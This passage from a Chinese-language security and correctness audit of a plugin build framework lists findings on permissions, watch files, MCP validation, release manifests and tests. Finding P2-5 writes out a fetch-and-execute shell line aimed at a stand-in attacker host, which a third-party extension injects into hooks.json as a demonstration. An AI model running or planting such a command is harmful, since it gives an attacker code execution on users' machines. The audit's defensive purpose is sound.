+- **测试与 DoD:** 新增一个文档 CLI 选项与 `createCli()` 实际注册选项的一致性测试,使这类漂移不可能再次发生。 + +--- + +#### P1-9 — 唯一的 DevSession 测试未跟踪且 flaky + +- **分类 / 置信度:** Test, Release / **High** +- **证据:** `packages/acplugin/test/dev-session.test.ts`(205 行,`git status` 为 `??`);被测代码 `packages/core/src/kernel/dev-session.ts` 与 `kernel/watch-registry.ts` 在 `git status` 中为 `AM`(部分改动未暂存) +- **当前行为 [EXEC]:** 该文件是工作区里**唯一**的 DevSession 行为测试。整文件连跑 5 次出现 **1 次失败**: + ``` + FAIL test/dev-session.test.ts > keeps a failed-round external graph and reports + its stable package identity on recovery + AssertionError: expected [ 'src/commands/review.md' ] + to include 'package:recovery-package@1.0.0/index.js' + ``` + 单独用 `-t` 跑该用例可稳定通过,因此是**测试竞态**而非确定性产品缺陷:失败轮的 `build-complete` 之后立刻写外部 package 文件,而 watcher 的 `awaitWriteFinish: { stabilityThreshold: 100, pollInterval: 20 }`(`dev-session.ts:289`)会把前一个 `src/commands/review.md` 事件合并到同一轮,断言用的 `starts.at(-1)` 因此抓到错误的轮次。 +- **为什么是真实故障(双重):** + 1. `pnpm run test` / `pnpm run check` / `release:preflight` 在当前树上会**随机变红**,破坏门禁可信度。本轮我第一次全量执行恰好全绿,这正是问题所在。 + 2. 因为文件**未跟踪**,提交后 CI 会全绿而完全不运行它——`updateWatcher(result, replace)` 新引入的"失败轮与 last-good 图取并集以保留恢复入口"这一恢复语义(README.md:355 对外承诺"retains the last successful output after failures, and rebuilds after recovery")将**完全没有测试覆盖**。 +- **建议修改位置与最小修复:** `git add packages/acplugin/test/dev-session.test.ts`;把断言从 `starts.at(-1)` 改为在 `starts` 上 `some(...)`,或轮询直到出现携带 `package:` identity 的那一轮。 +- **是否需要架构决策:** 不需要。 +- **测试与 DoD:** 该文件连跑 20 次零失败并进入版本控制;CI 中可见其执行。 + +--- + +### P2 + +--- + +#### P2-1 — 交付输出的所有目录权限是 `0700`,`0755` 可执行位形同虚设(本轮新发现) + +- **分类 / 置信度:** Correctness / **High** +- **证据:** `packages/core/src/package/candidate-materializer.ts:97,101,290`(`fs.mkdir(..., { mode: 0o700 })`);`packages/core/src/transaction.ts:304,306,310`(同)、`:532`(`mkdtemp` 产生 0700 的 stage 根)、`:563`(`rename(stage → outDir)` 原样继承) +- **当前行为 [EXEC]:** 框架对**文件** mode 做了极其严格的约束与复核(只允许 `0644`/`0755`,materialize 与 validate 阶段各校验一次,preserved 快照也复核)。但**目录** mode 从未被约束或规范化——全部继承自私有 stage 的 `0700`,并在 swap 后原样成为最终产物。实测当前 playground 产物: + ``` + drwx------ packages/playground/dist + drwx------ packages/playground/dist/claude-code + drwx------ packages/playground/dist/claude-code/plugin/runtime/playground + -rwxr-xr-x packages/playground/dist/claude-code/plugin/runtime/playground/main.mjs + ``` +- **为什么是真实故障:** `dist` 是"框架完整托管的交付目录",是产品最终交付物。目录 `0700` 意味着只有构建者本人能 traverse,因此 `main.mjs` / `server.mjs` 上精心保证的 `0755` 对**任何其他用户都不可达**。现实受影响场景:CI runner 以不同 uid 打包、容器 `COPY --chown`、`tar` 保留 mode 后解包、多用户共享机器、把 plugin 安装到系统级目录。同时这也与 `dist` 之外所有工程目录(`0755`)不一致,且完全不在任何测试视野内(仓库测试全部以同一 uid 运行,`verify-playground.mjs` 只断言文件 mode)。 +- **最小复现:** `pnpm run build` 后执行 `find packages/playground/dist -type d -exec stat -f "%Sp %N" {} \;`。 +- **建议修改位置与最小修复:** 在 `transaction.ts` 的 swap 前(或 `materializePackageUnits` 内)对 stage 中所有目录统一 `chmod 0o755`,并把目录 mode 纳入 `validatePackageUnits` / `validatePreservedPlatforms` 的复核基准,与文件 mode 同等对待。 +- **是否需要架构决策:** 不需要,但需要一次明确的产品决定:交付目录 mode 固定为 `0755`。 +- **测试与 DoD:** materialize / candidate / transaction / subset-preserve 四条路径产出的所有目录 mode 均为 `0755`;`verify-playground.mjs` 的 mode 快照扩展到目录;两次构建目录 mode 一致。 + +--- + +#### P2-2 — managed-rolldown 拒绝合法的 `addWatchFile()`,第三方集成无法登记"尚未生成"的依赖(本轮新发现) + +- **分类 / 置信度:** Correctness / **High** +- **证据:** `packages/core/src/compiler/compiler-host.ts:171-191`(`auditedWatchFile`,关键在 `:179` 的 `catch(() => path.normalize(file))`);`packages/core/src/kernel/watch-registry.ts:104-108` +- **当前行为 [EXEC]:** `auditedWatchFile` 的注释明确写着"尚未创建的 Plugin watch 候选保持 normalize 路径",即**有意支持**尚不存在的 watch 目标。但该意图在两处都不成立。用三个对照用例实测(`.llmdoc-tmp/repros/watchfile-repro.test.ts`),全部在 owner 自己已授权的 source root 内: + + | 用例 | 结果 | + | --- | --- | + | A:已存在、不在 module graph 中的文件 | ✅ SUCCEEDED | + | B:**尚不存在**的文件 | ❌ **整个 compile 失败** | + | C:module graph 中的入口文件(对照) | ✅ SUCCEEDED | + + 用例 B 有两种不同的失败形态,取决于工程根是否有 symlink 祖先: + - 工程根经过 symlink(macOS `/tmp`、`/var`,以及 `/home → /export/home` 之类):`scopes.sourceRoots` 是 realpath 过的,而 fallback 返回的是**未** realpath 的 `path.normalize(file)`,两者永不匹配 → 报 `Managed Rolldown registered a watch file outside its authorized module graph.` ——**这条错误信息本身是错的**,该路径明明在授权范围内。 + - 工程根无 symlink:通过 `auditedWatchFile`,随后在 `WatchRegistry.replace` 的 `fs.lstat` 检查(`watch-registry.ts:104-108`)失败 → 报 `Watch observation must reference a regular file.` +- **为什么是真实故障:** `this.addWatchFile(<尚未生成的文件>)` 是 Rolldown/Rollup 插件的标准用法("当这个配置文件出现时重建")。当前实现让任何这样做的可信第三方集成整个 compile 失败,且错误信息误导。这正是"managed-rolldown 是否限制得无法支持第三方集成"这一问题的实证答案。官方 Hooks/MCP/Runtime 不使用 `addWatchFile`,所以被完全掩盖。 +- **建议修改位置与最小修复:** `compiler-host.ts:179` 的 fallback 改为对不存在路径做等价 canonicalization(逐级向上 realpath 已存在的祖先再拼接剩余段),使其与 `scopes.sourceRoots` 同基准比较;`watch-registry.ts:104-108` 为"授权范围内但尚不存在"的 observation 定义合法状态(记录但不 lstat 断言),或让 Compiler 在提交前过滤掉它们并单独登记为"pending"。 +- **是否需要架构决策:** 需要一个小决策:Watch Registry 是否接纳"尚不存在但已授权"的 observation。建议接纳。 +- **测试与 DoD:** 上述 A/B/C 三例在有无 symlink 祖先的工程根下各跑一次,B 必须成功且该路径出现在 watch snapshot 中;越界路径仍必须被拒绝且错误信息准确。 + +--- + +#### P2-3 — MCP descriptor 校验不是 transport 判别联合,非法字段在到达 Contributor 前就被静默丢弃 + +- **分类 / 置信度:** Correctness, Security / **High** +- **证据:** `packages/extensions/mcp/src/discovery.ts:13`(`FIELDS` 是 HTTP 与 stdio 字段的**并集**)、`:146-180`(只校验命中 transport 的一侧) +- **当前行为 [EXEC]:** 顶层用并集 `{transport, url, auth, headers, entry, env}` 放行,随后只校验当前 transport 对应的字段。因此 stdio 上的 `url`/`auth`/`headers`、HTTP 上的 `entry`/`env` 被静默忽略;`auth` 也不拒绝 `{type:'none', env:'...'}` 这类未知嵌套字段。 + 执行复现(`.llmdoc-tmp/repros/mcp-fake-smoke/src/mcp/fake/mcp.ts`): + ```ts + export default { transport: 'stdio', entry: 'server.ts', + url: 'https://must-not-be-accepted.example/mcp', + auth: { type: 'none', env: 'MUST_NOT_BE_ACCEPTED' } } as never + ``` + 构建 `success=true`、`diagnostics=[]`,生成的 wire 只保留 stdio command。 +- **为什么是真实故障:** JS 配置、动态配置或 `as never` 都能越过类型层。作者的错误与潜在的 secret 意图被静默丢弃且无任何诊断。最终 Platform validator 也无法兜底——非法字段在 Contributor 之前就已消失。 +- **建议修改位置与最小修复:** `discovery.ts:13` 拆成按 transport 的精确字段集,`:146-180` 按 `auth.type` 使用精确嵌套字段集;required/optional、plain object、未知字段、互斥性全部在建立 Built State 之前完成。 +- **是否需要架构决策:** 不需要。 +- **测试与 DoD:** JS 与 `as never` 交叉字段、每种 auth 的多余/缺失字段、未知嵌套、非 plain auth 全部失败;官方合法输出与六平台 validator 仍然同构。 + +--- + +#### P2-4 — Codex 同样缺少 orphan `.mcp.json` 兜底 + +- **分类 / 置信度:** Security / **Medium-High** +- **证据:** `packages/platforms/codex/src/validator.ts:1053-1065` +- **当前行为 [EXEC + READ]:** 与 P1-7 完全同源的不对称:hooks 有 `else if (assets.has('hooks/hooks.json'))` 兜底(`:1064-1065`),`mcpServers` 只在 `manifest.mcpServers !== undefined` 时校验(`:1053`)。投递 orphan `.mcp.json`(`url: https://user:pass@…`, `junk:1`)实测 `success=true`、`errors=0`。 +- **定级说明:** 定 P2 而非 P1,仅因为**未确认** Codex 自身是否在没有 manifest 字段时自动发现根 `.mcp.json`。校验器的缺口与 Claude Code 完全一致,可利用性取决于 Codex 加载器行为。 +- **最小修复:** 镜像 hooks 兜底,与 P1-7 同一行修复。 +- **DoD:** 与 P1-7 合并验证。 + +--- + +#### P2-5 — 第三方 Contributor 可向 hooks wire 注入任意 shell 命令,最终校验不拦截 + +- **分类 / 置信度:** Security, Architecture / **High** +- **证据:** 各平台 hook 校验只验证 wire schema 合法性;官方 Contributor 自愿限制为 `node <受管 handler>`,但**没有任何 Platform validator 强制"只能是受管 handler"** +- **当前行为 [EXEC]:** 一个只依赖公开 `/sdk` 的第三方 Extension,占用已声明的 `hooks` extension point,把 `command: "curl -s https://evil.example/x.sh | sh"` 写进 `hooks.json`,在 claude-code、codex、cursor、antigravity 四个平台上**校验全部通过**。 +- **诚实定性:** 这**不是 validator 的正确性缺陷**——目标平台自身的 hook schema 就允许任意 command 字符串,因此 validator 与平台协议是同构的(第 G 组问题 7 成立)。但它与系统的隐含承诺冲突:ACPlugin 的整个 capability 模型(owner-scoped Asset、Platform/Extension 无 `dist` 写权限、Execution Host 只运行本 Session 生成的 Asset)暗示"Extension 无法注入任意执行",而 hook wire 是一个未设防的逃逸口。 +- **建议修改位置与最小修复:** 这是威胁模型决策,不是 bug 修复。两个方向:(a) 在各 Platform 的最终校验中要求 hook `command[0] === 'node'` 且 `command[1]` 必须解析为当前 candidate 内的已签发 Asset(OpenCode 的 MCP 校验已经是这个模型,见 `packages/platforms/opencode/src/validator.ts:90-94`,可直接借鉴);(b) 明确文档化"启用第三方 Extension 等同于信任其执行任意命令",并在 `llmdoc/architecture/` 记录该边界。 +- **是否需要架构决策:** **需要。** 必须明确 Extension 是否属于信任边界之内。 +- **测试与 DoD:** 若选 (a),第三方 fixture 注入非受管 command 在六个平台全部被拒,官方 Contributor 输出全部通过。 + +--- + +#### P2-6 — 八个已发布 tarball 的 `devDependencies` 中残留 `@acplugin/core@0.0.1-beta` + +- **分类 / 置信度:** Release, Security / **High** +- **证据:** `scripts/verify-release.mjs:381`(字段列表只有 `['dependencies','peerDependencies','optionalDependencies']`) +- **当前行为 [EXEC]:** 对九个包实际执行 `pnpm pack` 并解包后检查 packed manifest,九个中有八个(主包 + 六个 Platform)的 `devDependencies` 含 `"@acplugin/core": "0.0.1-beta"`——一个 `private: true`、**永不发布**的包,`workspace:*` 被改写成了一个不存在的版本号。两个 Extension 包干净。 +- **为什么是真实问题:** 不是运行时依赖,因此消费者 `npm install` 不受影响,literal 意义上也没有违反"公开 tarball 运行时依赖不得出现 `@acplugin/*`"。但它 (a) 发布了一个不可解析的 spec 与私有 workspace 拓扑,(b) `@acplugin` 是 npm 上未被占用的 scope,任何人在解包目录里 `npm install` 都会命中依赖混淆面,(c) 与该不变量的**意图**直接冲突。 +- **最小复现:** `tar -xzOf tokenroll-acplugin-0.0.2-beta.tgz package/package.json | grep acplugin/core` +- **建议修改位置与最小修复:** `verify-release.mjs:381` 的字段列表加入 `'devDependencies'`;从六个 Platform manifest 删除该 devDependency(已验证它们的 dist 只 import `@tokenroll/acplugin/sdk`,不需要它);主包如仍需要,通过 `publishConfig` 剥离或改为 workspace-only 的 tsconfig path。 +- **是否需要架构决策:** 不需要。 +- **测试与 DoD:** 九个 tarball 的四类依赖字段中均无 `@acplugin/*`。 + +--- + +#### P2-7 — `^0.0.2-beta` peer 范围排除一切后续主包版本,部分发布必然破坏八个集成 + +- **分类 / 置信度:** Release / **High** +- **证据:** 八个集成包的 `peerDependencies: { "@tokenroll/acplugin": "workspace:^" }`,pack 后为 `^0.0.2-beta`;`packages/acplugin/src/ecosystem-versions.ts:11` 的 `publicPackageRange()` 同理 +- **当前行为 [EXEC]:** `semver.validRange('^0.0.2-beta')` = `>=0.0.2-beta <0.0.3-0`。实测: + ``` + 0.0.2-beta → true + 0.0.3-beta → false + 0.0.3 → false + 0.1.0-beta → false + 1.0.0 → false + ``` +- **为什么是真实故障:** `llmdoc/guides/release.md` 明确允许只发布变更过的包。在 `0.0.x` 下,主包任何一次 bump 都会落在**所有已发布集成**的 peer 范围之外,消费者立即 `ERESOLVE`。这使"九包独立版本化"在 beta 窗口内对主包实际不成立。若 P1-1 的 `1.0.0` 是有意为之则此问题自动消失(`^1.0.0` → `<2.0.0`);若继续 beta 则是发布阻断项。 +- **建议修改位置与最小修复:** beta 窗口内把 peer 改为 `workspace:*` / 显式 `>=` 范围,或规定主包任何发布都必须九包同步 bump。 +- **是否需要架构决策:** **需要**,且与 P1-1 的 beta 策略决策是同一个决策。 +- **测试与 DoD:** 对"只发布主包"场景做 clean consumer 验证,八个集成仍可解析。 + +--- + +#### P2-8 — clean consumer 门禁并未真正覆盖第三方边界 + +- **分类 / 置信度:** Test, Release / **High** +- **证据:** `scripts/verify-release.mjs:535-558`(第三方 Platform 用 `definePlatform` **内联定义在消费者自己的 `acplugin.config.ts` 里**)、`:566`(`extensions: [hooks(), mcp()]`,仅官方) +- **当前行为 [READ]:** 所谓"第三方 Platform 互操作"验证是在**同一个工程、同一份 `node_modules`、同一个主包实例**中内联定义的。因此未覆盖: + - ✗ 第三方 **Extension**——`defineExtension` / `isAcpluginExtension` / `resourceRoots` 在整条发布路径上从未被非官方代码调用; + - ✗ 作为**独立安装包**存在、拥有自己的 `peerDependencies` 与 `node_modules` 条目的第三方集成(即主包重复实例场景); + - ✗ `deliveryType: 'workspace' | 'package'` 的第三方 Platform(fixture 只用 `'plugin'`)。 +- **为什么是真实问题:** `.changeset/initial-1-0-baseline.md:43` 把"third-party Platform interoperability"列为已验证的发布门禁,实际强度低于该表述。(`llmdoc/guides/release.md:45` 的措辞"through **one** main-package peer instance"更诚实。) +- **附带正面结论 [EXEC]:** 跨 tarball 的 Symbol brand 机制本身是**正确的**——`packages/core/src/kernel-contracts.ts:16,19` 使用 `Symbol.for(...)`,用两份独立 `dist` 副本实测交叉校验双向通过(`same module instance? false` / `A validates B: true` / `B validates A: true`)。若用 unique `Symbol()` 则会失效。 +- **建议修改位置与最小修复:** 在 `verifyConsumer` 中物化一个 `file:` 形式的第三方包目录(自带 `package.json` + `peerDependencies: {"@tokenroll/acplugin":"*"}`,一个 `.mjs` + `.d.mts`,只 import `@tokenroll/acplugin/sdk`),同时导出一个 `definePlatform` 工厂和一个 `defineExtension` 工厂,加入消费者的 `dependencies` 与配置。约 40 行,一次覆盖三个缺口。 +- **是否需要架构决策:** 不需要。 +- **测试与 DoD:** 上述 fixture 在 packed clean consumer 中完成 typecheck + validate + build,并且是 P1-7/P2-3/P2-5 三个对抗性 fixture 的宿主。 + +--- + +#### P2-9 — managed-rolldown 的 deterministic 路径审计比 portable-node 窄,可泄漏物理根 + +- **分类 / 置信度:** Correctness, Security / **High** +- **证据:** `packages/core/src/compiler/managed-auditor.ts:213-219` 对照 `packages/core/src/compiler/portable-auditor.ts:19-25` +- **当前行为 [READ]:** `policy.deterministic: true` 时,managed 只检查输出 code 是否包含**完整的、被打包模块的绝对 ID**;portable 的 `assertNoPhysicalPaths` 则检查 project / work / source / package 全部物理**根**,并同时检查 POSIX separator 变体。因此一个可信 managed 插件只要在 banner/renderChunk 注入 `process.cwd()` 或工程根字符串(不含任何完整模块文件名),就能通过检查并产出机器相关字节。 +- **为什么是真实故障:** `deterministic: true` 明确承诺机器物理根不进入输出;该守卫可被正常插件行为绕过,破坏稳定字节与路径脱敏承诺。 +- **建议修改位置与最小修复:** 把 portable 的 physical-root 扫描抽为共享内部 helper;managed audit 接收 project/work/source/package 根并检查原始与 POSIX 两种 separator 形式;保留现有完整 module-ID 检查。 +- **是否需要架构决策:** 不需要,是同一 deterministic policy 的一致化。 +- **测试与 DoD:** managed 插件注入四类根及 separator 变体均失败;`deterministic: false` 不受影响;现有合法 managed job 字节不变。 + +--- + +#### P2-10 — Extension build 失败被重复误归因为每个平台的 contribute failure + +- **分类 / 置信度:** Correctness / **High** +- **证据:** `packages/core/src/kernel/build-session.ts:150`(`projectHasErrors` 刻意排除带 `extension` 的 error)、`:747-757`、`:773-826`;`packages/core/src/resources/extension-provider.ts:347-349`(缺 Built State 时 throw) +- **当前行为 [READ]:** Extension build 失败记录 `EXTENSION_BUILD_FAILED` 且不进入 `built`。由于 `projectHasErrors()` 排除 extension-owned error,每个平台仍照常进入 contribute 阶段;匹配到 Contributor 却找不到 Built State 后 `throw`,被 `runPlatformStage('contribute')` 捕获,于是 Core 为**每一个**平台再追加一条 `PLATFORM_CONTRIBUTION_FAILED`。 +- **为什么是真实故障:** 健康的 Platform 被错误归因,report/inspect 产生重复噪声,并把 compile 阶段的根因扩散到 contribute 阶段,违反精确 phase/owner 契约。整体 failure 结论正确,但诊断不正确。 +- **建议修改位置与最小修复:** 在进入 package pipeline 之前计算"被失败 Extension 阻断的平台集合",跳过其 package 阶段且不归因给 Platform;或让 contribution collection 显式识别 already-failed Extension 并静默停止当前平台,而不是把缺 Built State 当作 Platform throw。**不得**产出缺少该 Extension 的可提交 candidate。 +- **是否需要架构决策:** 不需要,owner/phase 规则已明确。 +- **测试与 DoD:** Extension build throw + 多个匹配 Contributor;只出现 `EXTENSION_BUILD_FAILED`,无 spurious Platform error;相关平台不产 candidate,其他不依赖该 Extension 的平台仍独立执行。 + +--- + +#### P2-11 — MCP `entry` 默认值在三处不一致,且诊断谎称文件不存在 + +- **分类 / 置信度:** Correctness, Spec / **High** +- **证据:** `packages/extensions/mcp/src/types.ts:57`(TSDoc 写"默认 `./server.ts`")、`packages/extensions/mcp/src/discovery.ts:110`(解析默认值是 `'server.ts'`)、`:176`(校验默认值又是 `'./server.ts'`)、`:178`(诊断);`packages/core/src/kernel/path-policy.ts:50-52`(`safeRelativePath` 拒绝一切 `.` segment) +- **当前行为 [READ]:** 三处默认值互不一致。作者若按公开 TSDoc(以及由其生成的 `packages/docs/api/.../StdioMcpServer.md:17`)写 `entry: './server.ts'`,`sources.file()` 会因 `.` segment 被 `safeRelativePath` 拒绝,异常被 `discovery.ts:111-113` 吞掉,`entrySource` 保持 `undefined`,最终报出 `MCP_ENTRY_MISSING: "MCP stdio entry file does not exist."`——**而该文件确实存在**。 +- **注意(缩小范围):** 所有实际代码示例(`packages/docs/extensions/mcp.md:49`、`packages/extensions/mcp/README.md:51`、`packages/playground/src/mcp/local-tools/mcp.ts:6`)都正确使用 `'server.ts'`。因此这不是"文档示例跑不通",而是"公开类型注释声明的默认值被 API 拒绝 + 诊断内容与事实不符"。 +- **建议修改位置与最小修复:** 统一为 `'server.ts'`(改 `types.ts:57` 的 TSDoc 与 `discovery.ts:176`),并把该路径的诊断从 `MCP_ENTRY_MISSING` 改为 `MCP_ENTRY_INVALID` 并说明是路径语法问题;或在 MCP 作者边界显式规范化单个前导 `./`,继续拒绝空、绝对、`..` 与内部 dot。 +- **是否需要架构决策:** 不需要。 +- **测试与 DoD:** omitted / `server.ts` / `./server.ts` / nested / absolute / empty / `.` / `..` / 反斜杠九种输入;合法形式产出相同字节,非法形式给出准确诊断。 + +--- + +#### P2-12 — Hooks 的严格 JSON 快照静默删除嵌套 `undefined` + +- **分类 / 置信度:** Correctness, Standards / **High** +- **证据:** `packages/extensions/hooks/src/discovery.ts:117-118`(`if (descriptor.value === undefined) continue;`);对照 `packages/core/src/kernel/data-boundary.ts:57` 的严格处理 +- **当前行为 [READ]:** `copyJson()` 遇到对象 data property 值为 `undefined` 时直接跳过。因此 `{ event: 'SessionStart', typo: undefined }` 在到达"未知字段"schema 校验之前就变成了 `{ event: 'SessionStart' }`,作者的拼写错误被静默接受。 +- **为什么是真实故障:** `undefined` 不是 `JsonValue`。一个严格、可审计的数据边界不应把非法输入**改写**成合法输入。同时 Core 与 Hooks 两套快照实现在此发生语义分叉。 +- **建议修改位置与最小修复:** `discovery.ts:117-118` 改为对任何嵌套 `undefined` 直接拒绝;顶层可选字段的缺省仍由 `descriptorData` 显式处理。 +- **是否需要架构决策:** 行为修复不需要。后续可考虑在 `/sdk` 提供共享的严格不可变 JSON 快照原语,那是一个独立的小型 API 决策。 +- **测试与 DoD:** 嵌套/未知 `undefined`、getter、symbol、循环、稀疏/自定义数组、非有限数、`__proto__` 全部失败且 getter 不被执行;合法输入字节不变。 + +--- + +#### P2-13 — `troubleshooting.md` 列出四个不存在的诊断码 + +- **分类 / 置信度:** Correctness, Spec / **High** +- **证据 [EXEC]:** 该文档开篇要求用户"优先使用 `--json` 获取稳定诊断码",但列表中四个码在源码中不存在。用真实 CLI `validate --json` 复现对照: + + | 文档位置 | 文档写的码 | 实际输出 | + | --- | --- | --- | + | `troubleshooting.md:7` | `CONFIG_PLATFORMS_EMPTY` | `CONFIG_PLATFORMS_REQUIRED` | + | `troubleshooting.md:10` | `CONFIG_LEGACY_TARGETS` | `CONFIG_FIELD_UNKNOWN` | + | `troubleshooting.md:10` | `CONFIG_LEGACY_MODULES` | `CONFIG_FIELD_UNKNOWN` | + | `troubleshooting.md:16` | `SOURCE_SYMLINK_UNSUPPORTED` | `RESOURCE_ROOT_CONTENT_INVALID`(`resource-registry.ts:216`) | + + 另注:`packages/core/src/kernel/source-registry.ts:271,395` 对作者树 symlink 是 `throw new Error(...)`,不产生结构化诊断,因此 `SOURCE_SYMLINK_UNSUPPORTED` 无论如何都不可能出现在 `--json` 中。 +- **最小修复:** 改为上表右列四个真实码。 +- **DoD:** 增加一个"文档中出现的诊断码必须在源码中存在"的静态检查。 + +--- + +#### P2-14 — `packages/test/vitest.config.ts` 唯独漏了 hooks 的源码 alias + +- **分类 / 置信度:** Test / **High** +- **证据:** `packages/test/vitest.config.ts:20-32` +- **当前行为 [READ]:** Core、主包、`/sdk`、六个 Platform、`extension-mcp` 全部 alias 到 workspace 源码,**唯独没有** `@tokenroll/acplugin-extension-hooks`,而 `packages/test/test/hooks.test.ts:9` 与 `extension-api.types.ts:1` 正是从该包 import。结果是 hooks 集成测试跑的是构建产物,其余全部跑源码。 +- **为什么是真实问题:** 当前靠 `pretest` 全量构建掩盖。一旦 hooks 的 `dist` 与源码不同步(或因两份 Core 实例导致 brand 不一致),失败现象将极难定位。 +- **最小修复:** 补一行 `{ find: '@tokenroll/acplugin-extension-hooks', replacement: workspaceSource('../extensions/hooks/src/index.ts') }`。 + +--- + +### P3 + +| # | Finding | 证据 | 最小修复 | +| --- | --- | --- | --- | +| P3-1 | **`DevSession.current` 的公开语义未定义。** 类型 `packages/core/src/kernel-types.ts:1014` 是整个接口里**唯一没有文档注释**的成员。实现是"最近一次成功"(`dev-session.ts:369`,首轮失败时以失败报告播种),但失败轮的 `build-complete.report` 与随后读到的 `session.current` 会给出相反的 `success`。较旧的 spec 要求失败轮替换 `current`,较新的 remediation spec 要求保留成功值——两份规范互相矛盾。 | `kernel-types.ts:1014`;`dev-session.ts:363-371,447-450` | 补齐 TSDoc 明确为"最近一次成功报告";若两种状态都需要,改用两个无歧义字段而非一个 getter 兼表两义。**需要一次小型公开 API 决策。** | +| P3-2 | **`Scanner` 是无代码指称的僵尸术语。** `packages/core/src/scanner.ts` 已删除并被 `kernel-v2-architecture.test.ts:130` 断言不存在,Core 源码中无任何 Scanner 标识符,`llmdoc/reference/domain-glossary.md` 也无该词条;真实阶段名是 `DiagnosticPhase = 'discover'`。但全仓仍有 45 处以 Scanner 指代**当前**架构:`kernel-types.ts:472`、六个平台的 `src/components.ts`、`AGENTS.md:94`、`README.md:379` / `README.zh-CN.md:375`、`packages/docs/guide/troubleshooting.md:12`(章节标题"Scanner 失败",用户按此名去 `--json` 里找 phase 永远找不到)、`project-structure.md:27`、`guide/index.md:7`、`commands-skills-agents.md:3`、`config/public-files.md:36`、`migration/index.ts:84,90,169,1484,1526` 的"Core Scanner"注释。`migration/legacy/scanner/` 与"Legacy Scanner"是合法历史命名,不应改动。 | 同左 | 正常路径统一改为"discover 阶段 / Core 资源发现",或在 glossary 正式把 Scanner 定义为 discover 阶段别名。当前是两头落空。 | +| P3-3 | **staged whitespace 门禁失败。** `git diff --cached --check` exit 2,三处 `new blank line at EOF`。普通 `git diff --check` 只看 unstaged 故 exit 0。 | `packages/docs/ecosystem/assets-and-documents.md:25`、`packages/docs/ecosystem/build-service.md:28`、`packages/docs/guide/node-runtime.md:46` | 删除三个文件末尾新增空行并重新 stage;不改正文。DoD:两个 `git diff --check` 都 exit 0。 | +| P3-4 | **最外层 `INTERNAL_ERROR` 的 phase 被硬编码为 `package`。** 所有精确 stage 之外的 coordinator 异常统一报 `INTERNAL_ERROR`,但 phase 恒为 `package`,即使错误发生在 setup/discover/compile/cleanup 接缝。 | `packages/core/src/kernel/build-session.ts:968`;phase union `kernel-types.ts:941-945` | 新增明确的 `internal` phase,或由 coordinator 记录并上报当前真实阶段。若新增公开 phase 值,需一次小型 schema 决策。 | +| P3-5 | **`validateCompleteMaterialization` 在提交路径上是重复工作。** `build-session.ts:936-940` 把全部 Unit 写入独立临时根并复核;随后 `commitPackageUnits` 的 `materializePackageUnits` + `validatePackageUnits`(`transaction.ts:536,539`)做的是完全相同的事,且后者才是真正被发布的那份。于是每次 `build` 全量输出被物化三遍(per-unit candidate、aggregate、transaction stage)。以当前 playground 计为 292 文件 / 2.0 MB × 3。它对 `validate`/`inspect`(`commit=false`,不走事务)仍有唯一价值。 | `build-session.ts:936-940` | 将该调用收敛为 `if (!input.commit)`。一行改动。 | +| P3-6 | **`integrationNames` 依赖 JSON 键顺序。** `verify-release.mjs:19` 用 `packages.slice(1)`,隐含假设 `@tokenroll/acplugin` 是 `ecosystem-versions.json` 的第一个键。任何把该 JSON 字母序化的工具(格式化器,或为修 P1-2 而新增的生成器)都会让 `integrationNames` 包含主包而漏掉 antigravity,削弱 `:307,315,336` 的跨集成断言。 | `scripts/verify-release.mjs:17,19` | 改为 `Object.keys(ecosystemVersions).filter(n => n !== '@tokenroll/acplugin')`。**修 P1-2 时必须一并修,否则会被触发。** | +| P3-7 | **transaction marker 的 `scope` 字段被校验但从不参与恢复。** `transaction.ts:135-137` 严格校验 `scope`,但 `:481-509` 的恢复逻辑完全不分支于它。同时 `:469-471` 的 marker 不匹配会抛出且**没有任何自愈路径**——markers 保留在盘上,后续每次构建都以同样错误失败。经推演该状态在正常流程下不可达(两个 marker 由同一 record 写出,恢复期会先删两者),但一旦因手工编辑或异常写入进入,就需人工干预。 | `transaction.ts:135-137,469-471,481-509` | 要么让恢复真正使用 `scope`,要么从 record 中移除它;并为 marker 不匹配定义隔离/自愈策略。 | +| P3-8 | **`.changeset/initial-1-0-baseline.md:15` 版本描述过期**——写的是"the coordinated `0.0.1-beta` cohort",实际是 `0.0.2-beta` ×8 / `0.0.3-beta` ×1。 | 同左 | 更正文案。 | +| P3-9 | **文档把 brand 称为"private Symbol"**,实际是 `Symbol.for` 的**全局注册**键,可被手工伪造(已实测伪造对象可通过 `isAcpluginPlatform`)。机制本身正确(跨 tarball 必须如此,见 P2-8),但"private"措辞误导——它是 bundle 身份标记,不是完整性凭证(完整形状仍会被复核)。 | `llmdoc/guides/release.md:45` 及中文对照;`packages/core/src/kernel-contracts.ts:16,19,282` | 改述为"共享注册 Symbol brand"。 | +| P3-10 | **codex 被手工 bump 到 `0.0.3-beta` 而其 Changeset 被删除。** `packages/platforms/codex/package.json:3` 为 staged 修改,唯一描述该变更的 `.changeset/calm-tools-name.md` 被 staged 删除。删除本身可辩护(该选项随后被移除),但手工版本号绕过了 changeset 驱动的版本化,且仓库中**不存在任何 `CHANGELOG.md`**,`0.0.3-beta` 将无任何变更记录发布。 | 同左 | 补一份说明性 Changeset,或在发布指南中明确记录该手工 bump。 | +| P3-11 | **两个孤儿空目录与一处不自洽清单。** `packages/platforms/codex/test/golden/skills/command-release/agents`(golden 删除后残留,git 不跟踪空目录故 `git status` 干净);`packages/platforms/pi/test/golden`(空,且 `pi/test/platform.test.ts` 完全不引用 `goldenRoot`,是六平台中唯一没有 golden 的)。另 `scripts/comment-coverage.json` 收录了 `packages/acplugin/test/sdk-boundary.test.ts` 却未收录同批新增的 `project.test.ts` 与 `dev-session.test.ts`——脚本只对 `src/**` 自动发现,测试文件靠手工登记故不报错。清单本身无 stale 项(195/195 全部存在)。 | 同左 | 删除空目录;补齐或明确不收录测试文件的规则。 | + +--- + +## 4. Architecture Consistency Matrix + +评分含义 —— **架构匹配度**:实现与目标架构的一致程度;**实现完整度**:是否覆盖了声明的能力;**复杂度**:相对该子系统真实职责是否相称。 + +| 子系统 | 架构匹配度 | 实现完整度 | 复杂度是否合理 | 结论 | +| --- | --- | --- | --- | --- | +| **Node Runtime** | ✅ 完全匹配。是 Core Framework Resource 而非 Extension 包(`packages/extensions/node-runtime` 不存在且被测试断言);owner 固定 `framework:node-runtime`;自动发现 `src/runtime/` 一级文件与显式 `runtime.entries` 互斥且规则清晰;用 Core `portable-node` 编译;每入口只构建一次;不支持的平台只报 `unsupported` 且 `assets: []`;空目录返回 `undefined`(无 Artifact、无兼容性噪声);固定输出 `runtime//main.mjs`;不依赖 descriptor / factory / Extension Contributor / Manifest patch | ✅ 